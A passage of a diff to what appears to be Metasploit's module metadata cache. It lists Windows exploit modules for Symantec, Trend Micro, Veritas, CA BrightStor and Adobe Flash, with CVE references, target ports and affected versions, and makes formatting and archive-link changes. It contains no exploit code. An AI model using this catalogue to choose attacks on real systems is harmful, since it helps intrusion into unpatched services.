Management System Intel Alert Originator Service Buffer Overflow", "fullname": "exploit/windows/antivirus/symantec_iao", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-04-28", "type": "exploit", @@ -139176,12 +124416,8 @@ "platform": "Windows", "arch": "", "rport": 38292, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003", "Windows 2000 All" @@ -139193,17 +124429,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/symantec_rtvscan": { "name": "Symantec Remote Management Buffer Overflow", "fullname": "exploit/windows/antivirus/symantec_rtvscan", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-05-24", "type": "exploit", @@ -139220,12 +124453,8 @@ "platform": "Windows", "arch": "", "rport": 2967, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SCS 3.0.2 build 10.0.2.2000" ], @@ -139236,17 +124465,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/symantec_workspace_streaming_exec": { "name": "Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload", "fullname": "exploit/windows/antivirus/symantec_workspace_streaming_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-05-12", "type": "exploit", @@ -139290,17 +124516,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/antivirus/trendmicro_serverprotect": { "name": "Trend Micro ServerProtect 5.58 Buffer Overflow", "fullname": "exploit/windows/antivirus/trendmicro_serverprotect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-02-20", "type": "exploit", @@ -139316,12 +124539,8 @@ "platform": "Windows", "arch": "", "rport": 5168, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Trend Micro ServerProtect 5.58 Build 1060" ], @@ -139332,17 +124551,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/trendmicro_serverprotect_createbinding": { "name": "Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow", "fullname": "exploit/windows/antivirus/trendmicro_serverprotect_createbinding", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-05-07", "type": "exploit", @@ -139358,12 +124574,8 @@ "platform": "Windows", "arch": "", "rport": 5168, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Trend Micro ServerProtect 5.58 Build 1060" ], @@ -139374,17 +124586,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/trendmicro_serverprotect_earthagent": { "name": "Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow", "fullname": "exploit/windows/antivirus/trendmicro_serverprotect_earthagent", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-05-07", "type": "exploit", @@ -139400,12 +124609,8 @@ "platform": "Windows", "arch": "", "rport": 3628, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Trend Micro ServerProtect 5.58 Build 1060" ], @@ -139416,17 +124621,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/arkeia/type77": { "name": "Arkeia Backup Client Type 77 Overflow (Win32)", "fullname": "exploit/windows/arkeia/type77", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-02-18", "type": "exploit", @@ -139443,12 +124645,8 @@ "platform": "Windows", "arch": "", "rport": 617, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Arkeia 5.3.3 and 5.2.27 Windows (All)", "Arkeia 5.2.27 and 5.1.19 Windows (All)", @@ -139469,17 +124667,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/backdoor/energizer_duo_payload": { "name": "Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution", "fullname": "exploit/windows/backdoor/energizer_duo_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-05", "type": "exploit", @@ -139495,12 +124690,8 @@ "platform": "Windows", "arch": "", "rport": 7777, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -139511,17 +124702,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/backupexec/name_service": { "name": "Veritas Backup Exec Name Service Overflow", "fullname": "exploit/windows/backupexec/name_service", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-12-16", "type": "exploit", @@ -139538,12 +124726,8 @@ "platform": "Windows", "arch": "", "rport": 6101, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Veritas BE 9.1 SP0/SP1", "Veritas BE 8.5" @@ -139555,17 +124739,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/backupexec/remote_agent": { "name": "Veritas Backup Exec Windows Remote Agent Overflow", "fullname": "exploit/windows/backupexec/remote_agent", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-06-22", "type": "exploit", @@ -139582,12 +124763,8 @@ "platform": "Windows", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Veritas BE 9.0/9.1/10.0 (All Windows)", "Veritas BE 9.0/9.1/10.0 (Windows 2000)" @@ -139599,17 +124776,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/backupexec/ssl_uaf": { "name": "Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free", "fullname": "exploit/windows/backupexec/ssl_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-10", "type": "exploit", @@ -139620,17 +124794,13 @@ "references": [ "CVE-2017-8895", "VTS-17-006", - "URL-https://www.veritas.com/content/support/en_US/security/VTS17-006.html" + "URL-http://web.archive.org/web/20181112174302/https://www.veritas.com/content/support/en_US/security/VTS17-006.html" ], "platform": "Windows", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64", "Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86", @@ -139645,24 +124815,21 @@ "Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64", "Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86" ], - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/backupexec/ssl_uaf.rb", "is_install_path": true, "ref_name": "windows/backupexec/ssl_uaf", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/ca_arcserve_342": { "name": "Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow", "fullname": "exploit/windows/brightstor/ca_arcserve_342", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-10-09", "type": "exploit", @@ -139698,17 +124865,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/discovery_tcp": { "name": "CA BrightStor Discovery Service TCP Overflow", "fullname": "exploit/windows/brightstor/discovery_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-02-14", "type": "exploit", @@ -139727,12 +124891,8 @@ "platform": "Windows", "arch": "", "rport": 41523, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "cheyprod.dll 9/14/2000", "cheyprod.dll 12/12/2003", @@ -139745,17 +124905,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/discovery_udp": { "name": "CA BrightStor Discovery Service Stack Buffer Overflow", "fullname": "exploit/windows/brightstor/discovery_udp", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-12-20", "type": "exploit", @@ -139773,12 +124930,8 @@ "platform": "Windows", "arch": "", "rport": 41524, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "cheyprod.dll 12/12/2003", "cheyprod.dll 07/21/2004" @@ -139790,17 +124943,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/etrust_itm_alert": { "name": "Computer Associates Alert Notification Buffer Overflow", "fullname": "exploit/windows/brightstor/etrust_itm_alert", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-04-04", "type": "exploit", @@ -139836,17 +124986,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/hsmserver": { "name": "CA BrightStor HSM Buffer Overflow", "fullname": "exploit/windows/brightstor/hsmserver", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-09-27", "type": "exploit", @@ -139862,12 +125009,8 @@ "platform": "Windows", "arch": "", "rport": 2000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BrightStor HSM 11.5 Windows All" ], @@ -139878,17 +125021,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/lgserver": { "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow", "fullname": "exploit/windows/brightstor/lgserver", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-01-31", "type": "exploit", @@ -139904,12 +125044,8 @@ "platform": "Windows", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All" ], @@ -139920,17 +125056,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/lgserver_multi": { "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow", "fullname": "exploit/windows/brightstor/lgserver_multi", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-06-06", "type": "exploit", @@ -139946,12 +125079,8 @@ "platform": "Windows", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English" ], @@ -139962,17 +125091,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/lgserver_rxrlogin": { "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow", "fullname": "exploit/windows/brightstor/lgserver_rxrlogin", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-06-06", "type": "exploit", @@ -139988,12 +125114,8 @@ "platform": "Windows", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP0 English", "Windows 2000 SP4 English" @@ -140005,17 +125127,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter": { "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer rxsSetDataGrowthScheduleAndFilter Buffer Overflow", "fullname": "exploit/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-06-06", "type": "exploit", @@ -140031,12 +125150,8 @@ "platform": "Windows", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English" ], @@ -140047,17 +125162,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/lgserver_rxsuselicenseini": { "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow", "fullname": "exploit/windows/brightstor/lgserver_rxsuselicenseini", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-06-06", "type": "exploit", @@ -140073,12 +125185,8 @@ "platform": "Windows", "arch": "", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP0 English", "Windows 2000 SP4 English" @@ -140090,17 +125198,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/license_gcr": { "name": "CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow", "fullname": "exploit/windows/brightstor/license_gcr", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-02", "type": "exploit", @@ -140116,12 +125221,8 @@ "platform": "Windows", "arch": "", "rport": 10202, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP0 English", "Windows 2000 SP4 English" @@ -140133,17 +125234,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/mediasrv_sunrpc": { "name": "CA BrightStor ArcServe Media Service Stack Buffer Overflow", "fullname": "exploit/windows/brightstor/mediasrv_sunrpc", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-04-25", "type": "exploit", @@ -140160,12 +125258,8 @@ "platform": "Windows", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)", "BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)", @@ -140178,17 +125272,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/message_engine": { "name": "CA BrightStor ARCserve Message Engine Buffer Overflow", "fullname": "exploit/windows/brightstor/message_engine", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-01-11", "type": "exploit", @@ -140205,12 +125296,8 @@ "platform": "Windows", "arch": "", "rport": 6503, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BrightStor ARCserve r11.1", "BrightStor ARCserve r11.5", @@ -140223,17 +125310,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/message_engine_72": { "name": "CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow", "fullname": "exploit/windows/brightstor/message_engine_72", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-10-04", "type": "exploit", @@ -140248,12 +125332,8 @@ "platform": "Windows", "arch": "", "rport": 6504, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BrightStor ARCserve r11.5/Windows 2003" ], @@ -140264,17 +125344,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/message_engine_heap": { "name": "CA BrightStor ARCserve Message Engine Heap Overflow", "fullname": "exploit/windows/brightstor/message_engine_heap", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-10-05", "type": "exploit", @@ -140290,12 +125367,8 @@ "platform": "Windows", "arch": "", "rport": 6503, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English" ], @@ -140306,17 +125379,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/sql_agent": { "name": "CA BrightStor Agent for Microsoft SQL Overflow", "fullname": "exploit/windows/brightstor/sql_agent", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-08-02", "type": "exploit", @@ -140334,12 +125404,8 @@ "platform": "Windows", "arch": "", "rport": 6070, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ARCServe 11.0 Asbrdcst.dll 12/12/2003", "ARCServe 11.1 Asbrdcst.dll 07/21/2004", @@ -140358,17 +125424,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/tape_engine": { "name": "CA BrightStor ARCserve Tape Engine Buffer Overflow", "fullname": "exploit/windows/brightstor/tape_engine", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-11-21", "type": "exploit", @@ -140386,12 +125449,8 @@ "platform": "Windows", "arch": "", "rport": 6502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BrightStor ARCserve r11.1", "BrightStor ARCserve r11.5" @@ -140403,17 +125462,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/tape_engine_0x8a": { "name": "CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow", "fullname": "exploit/windows/brightstor/tape_engine_0x8a", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-10-04", "type": "exploit", @@ -140428,12 +125484,8 @@ "platform": "Windows", "arch": "", "rport": 6502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BrightStor ARCserve r11.5/Windows 2003" ], @@ -140444,17 +125496,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/brightstor/universal_agent": { "name": "CA BrightStor Universal Agent Overflow", "fullname": "exploit/windows/brightstor/universal_agent", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-04-11", "type": "exploit", @@ -140471,12 +125520,8 @@ "platform": "Windows", "arch": "", "rport": 6050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Magic Heap Target #1" ], @@ -140487,17 +125532,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_cooltype_sing": { "name": "Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow", "fullname": "exploit/windows/browser/adobe_cooltype_sing", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-09-07", "type": "exploit", @@ -140516,12 +125558,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140532,17 +125570,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_avm2": { "name": "Adobe Flash Player Integer Underflow Remote Code Execution", "fullname": "exploit/windows/browser/adobe_flash_avm2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-05", "type": "exploit", @@ -140561,12 +125596,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140577,17 +125608,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_casi32_int_overflow": { "name": "Adobe Flash Player casi32 Integer Overflow", "fullname": "exploit/windows/browser/adobe_flash_casi32_int_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-10-14", "type": "exploit", @@ -140606,12 +125634,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140622,17 +125646,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_copy_pixels_to_byte_array": { "name": "Adobe Flash Player copyPixelsToByteArray Method Integer Overflow", "fullname": "exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-09-23", "type": "exploit", @@ -140655,12 +125676,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140671,17 +125688,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_domain_memory_uaf": { "name": "Adobe Flash Player domainMemory ByteArray Use After Free", "fullname": "exploit/windows/browser/adobe_flash_domain_memory_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-04-14", "type": "exploit", @@ -140703,12 +125717,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140719,17 +125729,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_filters_type_confusion": { "name": "Adobe Flash Player Type Confusion Remote Code Execution", "fullname": "exploit/windows/browser/adobe_flash_filters_type_confusion", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-10", "type": "exploit", @@ -140749,12 +125756,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140765,17 +125768,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_mp4_cprt": { "name": "Adobe Flash Player MP4 'cprt' Overflow", "fullname": "exploit/windows/browser/adobe_flash_mp4_cprt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-15", "type": "exploit", @@ -140795,12 +125795,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -140817,17 +125813,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_otf_font": { "name": "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow", "fullname": "exploit/windows/browser/adobe_flash_otf_font", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-09", "type": "exploit", @@ -140850,12 +125843,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -140872,17 +125861,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_pcre": { "name": "Adobe Flash Player PCRE Regex Vulnerability", "fullname": "exploit/windows/browser/adobe_flash_pcre", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-25", "type": "exploit", @@ -140894,38 +125880,31 @@ "references": [ "CVE-2015-0318", "URL-http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html", - "URL-https://code.google.com/p/google-security-research/issues/detail?id=199" + "URL-http://web.archive.org/web/20160110043607/https://code.google.com/p/google-security-research/issues/detail?id=199" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/adobe_flash_pcre.rb", "is_install_path": true, "ref_name": "windows/browser/adobe_flash_pcre", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_regex_value": { "name": "Adobe Flash Player Regular Expression Heap Overflow", "fullname": "exploit/windows/browser/adobe_flash_regex_value", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-08", "type": "exploit", @@ -140948,12 +125927,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -140964,17 +125939,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_rtmp": { "name": "Adobe Flash Player Object Type Confusion", "fullname": "exploit/windows/browser/adobe_flash_rtmp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-04", "type": "exploit", @@ -140994,12 +125966,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -141013,17 +125981,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_sps": { "name": "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow", "fullname": "exploit/windows/browser/adobe_flash_sps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-09", "type": "exploit", @@ -141040,40 +126005,33 @@ "ZDI-11-276", "URL-http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/", "URL-http://www.adobe.com/support/security/bulletins/apsb11-21.html", - "URL-http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html" + "URL-http://web.archive.org/web/20170111122134/http://0x1byte.blogspot.com:80/2011/11/analysis-of-cve-2011-2140-adobe-flash.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", "IE 7 on Windows XP SP3 / Vista" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/adobe_flash_sps.rb", "is_install_path": true, "ref_name": "windows/browser/adobe_flash_sps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_uncompress_zlib_uninitialized": { "name": "Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory", "fullname": "exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-11-11", "type": "exploit", @@ -141092,12 +126050,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -141108,17 +126062,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/adobe_flash_worker_byte_array_uaf": { "name": "Adobe Flash Player ByteArray With Workers Use After Free", "fullname": 